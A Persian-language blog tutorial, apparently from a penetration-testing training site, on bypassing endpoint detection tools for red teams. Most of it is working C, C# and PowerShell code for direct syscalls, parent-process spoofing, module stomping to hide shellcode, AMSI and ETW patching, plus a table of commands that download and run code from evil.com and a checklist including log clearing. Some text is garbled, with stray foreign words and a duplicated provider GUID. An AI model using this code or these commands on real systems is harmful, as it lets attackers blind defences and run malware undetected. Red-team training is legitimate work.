✨🧪 تست نفوذ به شبکه‌های سازمانی را در آزمایشگاه ایزولهٔ اکسپلویت‌فا تمرین کن✨✨🧪 تست نفوذ به شبکه‌های سازمانی را در آزمایشگاه ایزولهٔ اکسپلویت‌فا تمرین کن✨
رد تیم و بای‌پس

بای‌پس EDR و تکنیک‌های Red Teaming ۲۰۲۵

تکنیک‌های پیشرفته بای‌پس EDR در ۲۰۲۵: Direct Syscalls، Hell's Gate، Halo's Gate، PPID Spoofing، Module Stomping، AMSI Bypass، ETW Patching، و OPSEC Safe Practices. با کد C#/C++ و ابزارهای واقعی.

مهدی غلامی
۲۰ آبان ۱۴۰۵ ۳۲ دقیقه ۰ بازدید

معماری EDRهای مدرن و چالش بای‌پس

EDRهای ۲۰۲۵ (CrowdStrike، SentinelOne، Microsoft Defender for Endpoint، Cortex XDR، Elastic، Trellix) لایه‌های دفاعی چندگانه دارند:

لایه دفاعیمکانیزممثال EDRبای‌پس اصلی
Static AnalysisSignature، ML، Entropy، StringsهمهObfuscation، Encryption، Custom Loader
User-mode HooksIAT/EAT Hooking، Inline Hooks (ntdll.dll، kernel32.dll)CrowdStrike، DefenderDirect Syscalls، Unhooking، Hell's Gate
Kernel CallbacksPsSetCreateProcessNotifyRoutine، PsSetCreateThreadNotifyRoutine، ObRegisterCallbacksهمه (Kernel)PPID Spoofing، Token Manipulation، Driver Load (Risky)
ETW (Event Tracing)ETW Providers: Microsoft-Windows-Threat-Intelligence، DotNETRuntimeDefender، SysmonETW Patching، Event Filtering
AMSIAmsiScanBuffer، AmsiScanString برای PowerShell/.NET/JS/VBSDefender، همه AVamsiInitFailed، Patch AmsiScanBuffer، Reflection
Memory ScanningRWX Pages، Heap/Stack، Module Enumeration، VAD WalkCrowdStrike، SentinelOneRW→RX، Sleep Masking، Module Stomping، Hollowed Modules
Behavioral/MLProcess Tree، Network Connections، File Ops، Registry، Command LineهمهLiving-off-the-Land، Legitimate Binaries، OPSEC Safe Args
Network/CloudDNS، HTTP، TLS Inspection، Cloud TelemetryCrowdStrike، SentinelOne، DefenderDomain Fronting، CDN، Encrypted C2، Legitimate Services

۱. Direct Syscalls: Hell's Gate و Halo's Gate

User-mode Hooks در ntdll.dll puntos ورود APIها (NtAllocateVirtualMemory، NtWriteVirtualMemory، NtCreateThreadEx، ...) را Hook می‌کنند. Direct Syscall مستقیماً syscall instruction را اجرا می‌کند بدون عبور از ntdll.

Hell's Gate - پویا یافتن Syscall Number

Hell's Gate Syscall Number را از ntdll.dll در حافظه فرآیند جاری استخراج می‌کند (بدون هاردکد). Syscall Number در Offset 0x4 یا 0xC تابع ntdll قرار دارد.

Hell's Gate - استخراج Syscall Number (C)c
#include <windows.h>
#include <winternl.h>

typedef struct _SYSCALL_ENTRY {
    DWORD hash;
    WORD syscall_num;
} SYSCALL_ENTRY;

// Hash تابع (مثلاً DJB2 یا CRC32)
DWORD djb2_hash(char *str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++)) hash = ((hash << 5) + hash) + c;
    return hash;
}

// یافتن Syscall Number برای یک تابع
WORD get_syscall_number(HMODULE ntdll, char *func_name) {
    DWORD hash = djb2_hash(func_name);
    PBYTE func_addr = (PBYTE)GetProcAddress(ntdll, func_name);
    
    // بررسی Hook: اگر 5 بایت اول JMP/Call باشد، Hook شده
    if (func_addr[0] == 0xE9 || func_addr[0] == 0xFF) {
        // Hook شده - جستجو در vùng حافظه همسایه برای syscall سالم
        for (int i = 1; i < 500; i++) {
            PBYTE neighbor = func_addr - i * 0x20; // تقدير اندازه تابع
            if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1 &&  // mov r10, rcx
                neighbor[3] == 0xB8 && neighbor[8] == 0x0F && neighbor[9] == 0x05) {   // mov eax, num; syscall
                return *(PWORD)(neighbor + 4); // Syscall Number در offset 4
            }
        }
    } else {
        // سالم - استخراج مستقیم
        return *(PWORD)(func_addr + 4);
    }
    return 0;
}

// اجرا مستقیم Syscall
// NtAllocateVirtualMemory example
NTSTATUS NTAPI direct_NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
) {
    WORD syscall_num = get_syscall_number(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
    if (!syscall_num) return STATUS_PROCEDURE_NOT_FOUND;
    
    __asm {
        mov r10, rcx
        mov eax, syscall_num
        syscall
    }
}

Halo's Gate - بهبود Hell's Gate برای EDRهای پیشرفته

Halo's Gate برای مقابله با EDRهایی که تمام توابع ntdll را Hook کرده‌اند، به توابع همسایه (Neighboring Functions) نگاه می‌کند تا Syscall Number سالم بیابد. همچنین از VTable و Export Table استفاده می‌کند.

Halo's Gate در C# (SharpSyscalls / SysWhispers3)csharp
using System;
using System.Runtime.InteropServices;

public class HalosGate
{
    [DllImport("kernel32.dll")]
    static extern IntPtr GetModuleHandle(string lpModuleName);
    
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    
    // یافتن Syscall Number با جستجوی همسایه
    public static ushort GetSyscallNumber(string functionName)
    {
        IntPtr ntdll = GetModuleHandle("ntdll.dll");
        IntPtr funcAddr = GetProcAddress(ntdll, functionName);
        if (funcAddr == IntPtr.Zero) return 0;
        
        byte[] bytes = new byte[32];
        Marshal.Copy(funcAddr, bytes, 0, 32);
        
        // بررسی Hook: E9 (JMP) یا FF (CALL)
        if (bytes[0] == 0xE9 || bytes[0] == 0xFF)
        {
            // Hook شده - جستجوی رو به بالا و پایین
            for (int i = 1; i < 500; i++)
            {
                // بالا
                IntPtr upAddr = IntPtr.Subtract(funcAddr, i * 32);
                Marshal.Copy(upAddr, bytes, 0, 32);
                if (IsValidSyscallStub(bytes)) return BitConverter.ToUInt16(bytes, 4);
                
                // پایین
                IntPtr downAddr = IntPtr.Add(funcAddr, i * 32);
                Marshal.Copy(downAddr, bytes, 0, 32);
                if (IsValidSyscallStub(bytes)) return BitConverter.ToUInt16(bytes, 4);
            }
        }
        else
        {
            return BitConverter.ToUInt16(bytes, 4);
        }
        return 0;
    }
    
    static bool IsValidSyscallStub(byte[] bytes)
    {
        // mov r10, rcx (4C 8B D1)
        // mov eax, imm32 (B8 xx xx xx xx)
        // syscall (0F 05)
        return bytes.Length >= 12 &&
               bytes[0] == 0x4C && bytes[1] == 0x8B && bytes[2] == 0xD1 &&
               bytes[3] == 0xB8 && bytes[8] == 0x0F && bytes[9] == 0x05;
    }
}

// استفاده با Delegate برای اجرا
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtAllocateVirtualMemoryDelegate(
    IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits,
    ref ulong RegionSize, uint AllocationType, uint Protect);

public static uint DirectNtAllocateVirtualMemory(
    IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits,
    ref ulong RegionSize, uint AllocationType, uint Protect)
{
    ushort syscall = GetSyscallNumber("NtAllocateVirtualMemory");
    if (syscall == 0) return 0xC000007A; // STATUS_PROCEDURE_NOT_FOUND
    
    // ساختن Stub در حافظه و اجرا
    // (نیاز به Assembly Stub یا Library مثل SysWhispers3)
    return 0;
}

۲. PPID Spoofing و BlockDLLs - مخفی کردن Process Tree

EDRها Process Tree را مانیتور می‌کنند: فرزندهای مشکوکه (مثل rundll32.exe، regsvr32.exe، mshta.exe) که از Office Apps یا Browserها spawn می‌شوند. PPID Spoofing والد واقعی را به یک Prozess قانونی (مثل explorer.exe) تغییر می‌دهد.

PPID Spoofing با UpdateProcThreadAttribute (C#)csharp
using System;
using System.Runtime.InteropServices;

public class PPIDSpoofing
{
    [StructLayout(LayoutKind.Sequential)]
    struct PROC_THREAD_ATTRIBUTE_LIST { public IntPtr lpAttributeList; }
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool InitializeProcThreadAttributeList(
        IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool UpdateProcThreadAttribute(
        IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute,
        IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
    
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern bool CreateProcessW(
        string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
        bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        [In] ref STARTUPINFOEX lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);
    
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }
    
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public int dwX, dwY, dwXSize, dwYSize;
        public int dwXCountChars, dwYCountChars;
        public int dwFillAttribute;
        public int dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput, hStdOutput, hStdError;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess, hThread;
        public int dwProcessId, dwThreadId;
    }
    
    const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
    const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
    const uint CREATE_SUSPENDED = 0x00000004;
    const uint CREATE_NO_WINDOW = 0x08000000;
    
    public static bool SpoofPPID(string targetExe, int spoofedPpid, out int newPid)
    {
        newPid = 0;
        IntPtr hParent = OpenProcess(0x001F0FFF, false, spoofedPpid); // MAXIMUM_ALLOWED
        if (hParent == IntPtr.Zero) return false;
        
        IntPtr attrList = IntPtr.Zero;
        IntPtr size = IntPtr.Zero;
        InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);
        attrList = Marshal.AllocHGlobal(size);
        InitializeProcThreadAttributeList(attrList, 1, 0, ref size);
        
        UpdateProcThreadAttribute(attrList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
        
        STARTUPINFOEX sie = new STARTUPINFOEX();
        sie.StartupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFOEX));
        sie.lpAttributeList = attrList;
        
        PROCESS_INFORMATION pi;
        bool result = CreateProcessW(
            targetExe, null, IntPtr.Zero, IntPtr.Zero, false,
            EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED | CREATE_NO_WINDOW,
            IntPtr.Zero, null, ref sie, out pi);
        
        DeleteProcThreadAttributeList(attrList);
        Marshal.FreeHGlobal(attrList);
        CloseHandle(hParent);
        
        if (result) { newPid = pi.dwProcessId; return true; }
        return false;
    }
    
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    [DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr hObject);
}

// استفاده: PPIDSpoofing.SpoofPPID("C:\Windows\System32\cmd.exe", explorerPid, out pid);

BlockDlls - جلوگیری از Load DLLهای غیرمجاز

BlockNonMicrosoftBinaries (C#)csharp
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetProcessMitigationPolicy(
    int policy, IntPtr lpBuffer, int dwLength);

const int ProcessSignaturePolicy = 1; // BlockNonMicrosoftBinaries

// در فرآیند والد قبل از CreateProcess
SetProcessMitigationPolicy(ProcessSignaturePolicy, IntPtr.Zero, 0);
// حالا فرآیندهای فرزند فقط Microsoft-signed DLLها را لود می‌کنند

۳. Shellcode Injection Techniques - پیشرفته

تکنیکتوضیحOPSECتشخیص EDR
Classic (VirtualAlloc+Write+CreateThread)RWX، خیلی پرمخکمبسیار بالا (RWX، Thread Start)
Early Bird APC QueueQueueUserAPC در Thread معلقمتوسطبالا (APC Queue مانیتورینگ)
Thread HijackingSuspend، SetContext، Resume Thread موجودبالاترمتوسط (Context Change)
Process HollowingCreateProcess(SUSPENDED)، Unmap، Write، Resumeپایینبسیار بالا (Image Mismatch)
Module Stomping / OverwritingLoad DLL قانونی، Overwrite .text Sectionبسیار بالاپایین (Module Legit، PEB Valid)
Dynamic Module Loading (Reflective DLL)LoadLibraryEx در حافظه، بدون دیسکبالامتوسط (Memory Module)
Fiber InjectionConvertThreadToFiber، CreateFiber، SwitchToFiberبسیار بالاپایین (Fiber کمتر مانیتور)
Syscall-based InjectionDirect Syscalls برای Alloc/Write/Protect/Threadبسیار بالاپایین (بدون Hook)

Module Stomping - پیشرفته‌ترین تکنیک

Module Stomping یک DLL قانونی (Microsoft-signed) را Load می‌کند، حافظه .text Section آن را RW می‌کند، Shellcode را Overwrite می‌کند، و دوباره RX می‌کند. در PEB و Module List فرآیند، DLL قانونی به نظر می‌رسد.

Module Stomping (C# - مفهوم)csharp
using System;
using System.Runtime.InteropServices;

public class ModuleStomping
{
    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    static extern IntPtr LoadLibraryEx(string lpLibFileName, IntPtr hFile, uint dwFlags);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    
    const uint LOAD_LIBRARY_AS_DATAFILE = 0x00000002;
    const uint PAGE_READWRITE = 0x04;
    const uint PAGE_EXECUTE_READ = 0x20;
    
    public static bool StompModule(string dllPath, byte[] shellcode)
    {
        // ۱. Load DLL به عنوان Datafile (بدون اجرا)
        IntPtr hModule = LoadLibraryEx(dllPath, IntPtr.Zero, LOAD_LIBRARY_AS_DATAFILE);
        if (hModule == IntPtr.Zero) return false;
        
        // ۲. یافتن .text Section (یا تابع export شده)
        // ساده‌سازی: استفاده از Entry Point یا Export
        IntPtr targetAddr = GetProcAddress(hModule, "DllGetClassObject"); // یا تابع دیگر
        if (targetAddr == IntPtr.Zero) return false;
        
        // ۳. تغییر Permission به RW
        uint oldProtect;
        if (!VirtualProtect(targetAddr, (uint)shellcode.Length, PAGE_READWRITE, out oldProtect))
            return false;
        
        // ۴. کپی Shellcode
        Marshal.Copy(shellcode, 0, targetAddr, shellcode.Length);
        
        // ۵. بازگرداندن Permission به RX
        if (!VirtualProtect(targetAddr, (uint)shellcode.Length, PAGE_EXECUTE_READ, out oldProtect))
            return false;
        
        // ۶. اجرا (CreateThread، QueueUserAPC، یا Fiber)
        // ...
        return true;
    }
}

// DLLهای مناسب (Microsoft-signed، دارای .text بخش بزرگ):
// C:\Windows\System32\amsi.dll
// C:\Windows\System32\version.dll
// C:\Windows\System32\winhttp.dll
// C:\Windows\System32\cryptsp.dll
// C:\Windows\System32\bcrypt.dll

۴. AMSI Bypass - PowerShell و .NET

AMSI (Antimalware Scan Interface) محتوای Script/Memory را قبل از اجرا اسکن می‌کند. بای‌پس‌های اصلی:

تکنیکمکانیزمنسخه‌های اثرگذارOPSEC
amsiInitFailedتنظیم g_amsiContext.amsiInitFailed = TRUEهمه (PowerShell 5+، .NET 4.8+)بسیار بالا (یک بایت)
AmsiScanBuffer PatchPatch کردن تابع در amsi.dll (48 31 C0 C3 = xor rax,rax; ret)Windows 10 1809+بالا (5 بایت)
Reflection (System.Management.Automation.AmsiUtils)تنظیم فیلد private amsiInitFailed از طریق ReflectionPowerShell 5.1+بالا (بدون Memory Write)
AmsiDllUnloadFreeLibrary(amsi.dll) - ناپایدارقدیمیپایین (Crash Risk)
Memory Patching (Runtime)Patch در حافظه فرآیند هدف (Injector)همهمتوسط (RWX)
AMSI Bypass در PowerShell (One-linerها)powershell
# ۱. amsiInitFailed (ساده‌ترین، پرکاربردترین)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# ۲. AmsiScanBuffer Patch (PowerShell 7+، Windows 10 1809+)
$win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
}
"@
Add-Type $win32
$amsi = [Win32]::LoadLibrary("amsi.dll")
$scan = [Win32]::GetProcAddress($amsi, "AmsiScanBuffer")
$old = 0
[Win32]::VirtualProtect($scan, 5, 0x40, [ref]$old)
[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0,0xC3,0x90), 0, $scan, 5) # xor rax,rax; ret; nop

# ۳. Reflection (بدون Memory Write، فقط فیلد)
$amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsiUtils.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)
AMSI Bypass در C# (.NET Assembly)csharp
public static class AmsiBypass
{
    public static void DisableAmsi()
    {
        // روش ۱: Reflection (ترجیح داده شده - بدون WriteProcessMemory)
        try
        {
            var amsiUtils = Type.GetType("System.Management.Automation.AmsiUtils");
            var field = amsiUtils.GetField("amsiInitFailed", 
                System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
            field.SetValue(null, true);
            return;
        }
        catch { }
        
        // روش ۲: Memory Patch (اگر Reflection شکست خورد)
        IntPtr amsiDll = LoadLibrary("amsi.dll");
        IntPtr scanAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
        
        uint oldProtect;
        VirtualProtect(scanAddr, 5, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
        
        // xor rax, rax; ret (48 31 C0 C3) + nop (90) برای alignment
        byte[] patch = { 0x48, 0x31, 0xC0, 0xC3, 0x90 };
        Marshal.Copy(patch, 0, scanAddr, patch.Length);
        
        VirtualProtect(scanAddr, 5, oldProtect, out _);
    }
    
    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    
    [DllImport("kernel32", CharSet = CharSet.Unicode)]
    static extern IntPtr LoadLibrary(string lpFileName);
    
    [DllImport("kernel32")]
    static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
}

۵. ETW Patching - Silent Execution

ETW (Event Tracing for Windows) لاگ‌های بسیار دقیقی از .NET، PowerShell، و Kernel تولید می‌کند. EDRها از ETW Providerهای Microsoft-Windows-Threat-Intelligence و DotNETRuntime استفاده می‌کنند. Patch کردن ETW در حافظه جلوی لاگ‌گیری را می‌گیرد.

ETW Patch (C#)csharp
public static class EtwPatch
{
    public static void DisableEtw()
    {
        // Patch EtwEventWrite در ntdll.dll
        // تابع: NtTraceEvent یا EtwEventWrite
        IntPtr ntdll = LoadLibrary("ntdll.dll");
        IntPtr etwWrite = GetProcAddress(ntdll, "EtwEventWrite");
        if (etwWrite == IntPtr.Zero) 
            etwWrite = GetProcAddress(ntdll, "NtTraceEvent");
        
        if (etwWrite != IntPtr.Zero)
        {
            uint oldProtect;
            VirtualProtect(etwWrite, 12, 0x40, out oldProtect);
            
            // mov rax, 0; ret (48 31 C0 C3) + padding
            byte[] patch = { 0x48, 0x31, 0xC0, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
            Marshal.Copy(patch, 0, etwWrite, patch.Length);
            
            VirtualProtect(etwWrite, 12, oldProtect, out _);
        }
        
        // همچنین: Patch EtwProviderEnabled برای Providerهای خاص
        // Microsoft-Windows-Threat-Intelligence GUID: {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}
        // DotNETRuntime GUID: {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4} (مشترک)
    }
    
    [DllImport("kernel32", CharSet = CharSet.Unicode)]
    static extern IntPtr LoadLibrary(string lpFileName);
    
    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    
    [DllImport("kernel32")]
    static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
}

۶. Living-off-the-Land (LOLBins) - اجرای کد با باینری‌های قانونی

استفاده از باینری‌های امضا شده Microsoft برای اجرای کد، بای‌پس Application Control (AppLocker/WDAC) و کاهش شک EDR.

LOLBinتکنیکمثال اجرا
msbuild.exeCompile XML Project با Inline Taskmsbuild.exe evil.csproj
installutil.exeInstaller Class با Assemblyinstallutil.exe /logfile= /logtoconsole=false evil.dll
regsvr32.exeCOM Scriptlet (.sct) از راه دورregsvr32 /s /n /u /i:http://evil.com/x.sct scrobj.dll
regasm.exeRegister Assembly با Coderegasm.exe /u evil.dll
rundll32.exeExport Function در DLLrundll32.exe evil.dll,EntryPoint
mshta.exeHTA Applicationmshta.exe http://evil.com/x.hta
wmic.exeWMI Process Call Createwmic process call create "cmd /c calc"
powershell.exeEncodedCommand، -WindowStyle Hiddenpowershell -ep bypass -enc BASE64
pwsh.exePowerShell Core (اگر نصب باشد)pwsh -c "IEX (iwr http://evil.com/script.ps1)"
cscript/wscriptVBScript/JS Executioncscript //E:jscript //B evil.js
cmstp.exeConnection Manager Profile Installercmstp.exe /s evil.inf
msiexec.exeMSI Package Installationmsiexec /q /i http://evil.com/evil.msi
certutil.exeDecode Base64 Filecertutil -decode -f evil.b64 evil.exe
bitsadmin.exeBITS Transfer Jobbitsadmin /transfer job /download /priority high http://evil.com/evil.exe %TEMP%\evil.exe

۷. OPSEC Safe Practices - چک‌لیست Red Team

OPSEC Checklist برای Red Team Operationstext
[ ] Process Injection: Module Stomping / Fiber / Syscall-based (نه Classic RWX)
[ ] Memory Permissions: RW → RX (هیچ وقت RWX نگذارید)، Sleep Masking (Encrypt در Sleep)
[ ] Direct Syscalls: Hell's Gate / Halo's Gate برای تمام Native APIها
[ ] Unhooking: Fresh Copy ntdll از Disk / KnownDLLs / SysWhispers3
[ ] PPID Spoofing: والد قانونی (explorer.exe، winlogon.exe، services.exe)
[ ] BlockDLLs: SetProcessMitigationPolicy(BlockNonMicrosoftBinaries)
[ ] AMSI Bypass: Reflection > amsiInitFailed > AmsiScanBuffer Patch
[ ] ETW Patch: EtwEventWrite / NtTraceEvent Patch
[ ] No Command Line Args حساس: Environment Variables، Stdin، Named Pipe، File
[ ] Legitimate Binaries: LOLBins به جای Custom Executables
[ ] Signed Loaders: Custom Loader با Certificate معتبر (EV Code Signing)
[ ] C2 Communications: Domain Fronting، CDN، Legitimate Cloud Services (GitHub، Azure، AWS)
[ ] Encrypted C2: TLS 1.3، Certificate Pinning، JA3 Spoofing
[ ] Jitter & Sleep: Random Sleep، Long Sleep (Hours)، Beacon Masking
[ ] Cleanup: Event Log Clearing (Wevtutil)، File Timestomp، Artifact Removal
[ ] No Persistence بدون اجازه: فقط در Scope قرارداد
[ ] Documentation: تمام TTPها، IOCها، و Findings در گزارش

ابزارهای Red Team پیشنهادی ۲۰۲۵

ابزارنوعویژگی‌های کلیدیOPSEC
Cobalt Strike 4.9+C2 FrameworkMalleable C2، Artifact Kit، Sleep Mask، UDRL، HTTP/2، DNSبسیار بالا (با Kit مناسب)
SliverC2 Framework (Open Source)Mutual TLS، WireGuard، DNS Canary، Armory، Cross-compileبالا
HavocC2 Framework (Open Source)Demon Agent، Sleep Mask، Indirect Syscalls، Modulesبالا
Brute Ratel C4C2 FrameworkCustom Reflective Loader، Syscalls، BOF، Malleableبسیار بالا
SysWhispers3Syscall GeneratorIndirect Syscalls، Hell's Gate، Halo's Gate، C/C#/Rust/Goبسیار بالا
DonutShellcode Generator.NET Assembly → Position Independent Shellcode، AMSI/ETW Bypassبالا
SharpBlockEDR BlockBlock EDR Sensor DLLها، Minifilter Unloadمتوسط (نیاز Admin)
NightHawkPost-ExploitationBOF، Syscalls، Memory Injection، Lateral Movementبالا
RubeusKerberos AbuseKerberoasting، AS-REP، Delegation، Ticket PassN/A (AD Tool)
CertipyAD CS AbuseESC1-11، Coerce، Relay، ForgeN/A (AD Tool)
BloodHound CEAD AnalysisCypher Queries، Pathfinding، Azure ADN/A (Recon)
LaZagneCredential AccessBrowser، WiFi، Email، DB، Memory Credentialsمتوسط

برای یادگیری تقنیات Red Team و بای‌پس EDR در محیط ایزوله و قانونی، دوره Metasploit کامل ماژول‌های Post-Exploitation و بای‌پس را پوشش می‌دهد. دوره تست نفوذ شبکه حرکات جانبی و Active Directory را آموزش می‌دهد. آزمایشگاه آنلاین اکسپلویت‌فا سناریوهای Red Team با EDRهای واقعی را فراهم می‌کند. نکته: تمام تکنیک‌ها تنها برای تست نفوذ مجاز و با قرارداد استفاده شوند.

جمع‌بندی و اخلاقیات

بای‌پس EDR در ۲۰۲۵ یک chơi گول و زدن است: EDRها behavioral analysis، kernel visibility، و cloud telemetry را تقویت می‌کنند، و Red Teamers باید به سمت Indirect Syscalls، Module Stomping، Sleep Masking، و Legitimate Binaries (LOLBins) حرکت کنند. اصل اساسی: OPSEC First - هر تکنیکی که Noise تولید کند، خطر Detection را افزایش می‌دهد.

  • یادگیری عمیق: Windows Internals (Pavel Yosifovich)، Malware Development (Sektor7، Maldev Academy)
  • تمرین: آزمایشگاه آنلاین با EDRهای واقعی، Maldev Academy Labs، TryHackMe Red Teaming
  • ابزارسازی: نوشتن Custom Loader، BOF (Beacon Object Files)، و Agent Development
  • مجتمع: Red Team Village، BlueHat، BlackHat، DEF CON Talks، OffensiveCon
  • اخلاقیات: فقط در Scope قرارداد، مستندسازی کامل، گزارش‌دهی شفاف، احترام به Blue Team
The best red teamers don't bypass EDR. They understand it, respect it, and operate within the constraints of the engagement. OPSEC is not a technique; it's a mindset.
— Rasta Mouse (SpecterOps)، متخصص Red Teaming

؟پرسش‌های متداول

تفاوت Direct Syscalls و Indirect Syscalls چیست؟

Direct Syscall: مستقیماً `syscall` instruction در Assembly Stub اجرا می‌شود (Hell's Gate، Halo's Gate). Indirect Syscall: به جای اجرای مستقیم، به یک تابع قانونی در ntdll که Hook نشده (مثل `NtWaitForSingleObject`) می‌پرد و از آنجا syscall اجرا می‌شود. Indirect SyscallCallbacks را دور می‌زند چون Stack Trace شامل تابع قانونی است.

Module Stomping چرا OPSEC بالایی دارد؟

چون DLL هدف (مثل amsi.dll، version.dll) Microsoft-signed است، در PEB و Module List به عنوان Module قانونی ظاهر می‌شود، Base Address معتبر است، و .text Section آن در حافظه RWX/RX است. EDRها باید محتوای .text را اسکن کنند (Memory Scanning) تا متوجه شوند، که پرهزینه و با False Positive است.

PPID Spoofing چه زمانی کار نمی‌کند؟

وقتی EDR از Kernel Callbacks (PsSetCreateProcessNotifyRoutine) استفاده کند و Parent Process ID را در Kernel Validate کند (نه User-mode). همچنین اگر PPID Spoofed Process والدش (مثل explorer.exe) در Session دیگری باشد یا Integrity Level پایین‌تر باشد، CreateProcess ممکن است Fail کند.

AMSI Bypass با Reflection چرا ترجیح داده می‌شود؟

چون هیچ Memory Write (VirtualProtect، WriteProcessMemory) انجام نمی‌دهد. فقط یک فیلد private static در حافظه فرآیند جاری را از طریق Reflection تغییر می‌دهد. این کار در User-mode است، kernel Callback را تحریک نمی‌کند، و بسیار Silent است.

ETW Patch می‌تواند باعث Crash شود؟

بله، اگر Patch ناقص باشد یا تابعی Patch شود که در مسیر حیاتی Kernel/User-mode استفاده می‌شود. Patch کردن EtwEventWrite معمولاً امن است چون فقط لاگ‌نویسی را متوقف می‌کند، اما باید با دقت و تست در محیط ایزوله انجام شود.

LOLBins چگونه با AppLocker/WDAC بای‌پس می‌شوند؟

LOLBins باینری‌های Microsoft-signed هستند که به طور پیش‌فرض در Policyهای AppLocker/WDAC Allow شده‌اند (Path Rule یا Publisher Rule). مهاجم از قابلیت‌های جانبی آن‌ها (مثل msbuild Inline Task، regsvr32 Scriptlet) برای اجرای کد دلخواه استفاده می‌کند بدون اینکه باینری جدیدی Drop کند.

Sleep Masking چیست؟

Sleep Masking تکنیکی است که در آن Agent در طول Sleep، حافظه حساس خود (Shellcode، Strings، Keys، Stack) را رمزنگاری (Encrypt) می‌کند و Permissionها را به RW یا No-Access تغییر می‌دهد. هنگام Wake، رمزگشایی و ادامه اجرا. این کار Memory Scanning در طول Sleep را باطل می‌کند. ابزار: Cobalt Strike Sleep Mask، Lazarus (Donut)، Custom Implementation.

پیش‌نیاز یادگیری Red Teaming و EDR Bypass چیست؟

Windows Internals (Process، Thread، Memory، Syscalls، Kernel)، x64 Assembly، C/C++، C#، .NET Internals، PE Format، و درک EDR Architecture. دوره تست نفوذ شبکه و Metasploit پایه‌ها را می‌دهند. برای تخصص: Sektor7 Maldev Academy، Maldev Academy، Windows Internals Books.

یادگیری را همین امروز شروع کنید

مسیر حرفه‌ای تست نفوذ را با تمرین عملی طی کنید

در اکسپلویت‌فا از لینوکس و پایتون شروع کنید و با آزمایشگاه آنلاین، دوره‌های ویدیویی و گواهینامه قابل استعلام به سطح حرفه‌ای برسید.

برچسب‌ها:#EDR Bypass#Red Teaming#Direct Syscalls#Shellcode Injection#AMSI Bypass#PPID Spoofing#OPSEC
اشتراک‌گذاری:
م

مهدی غلامی

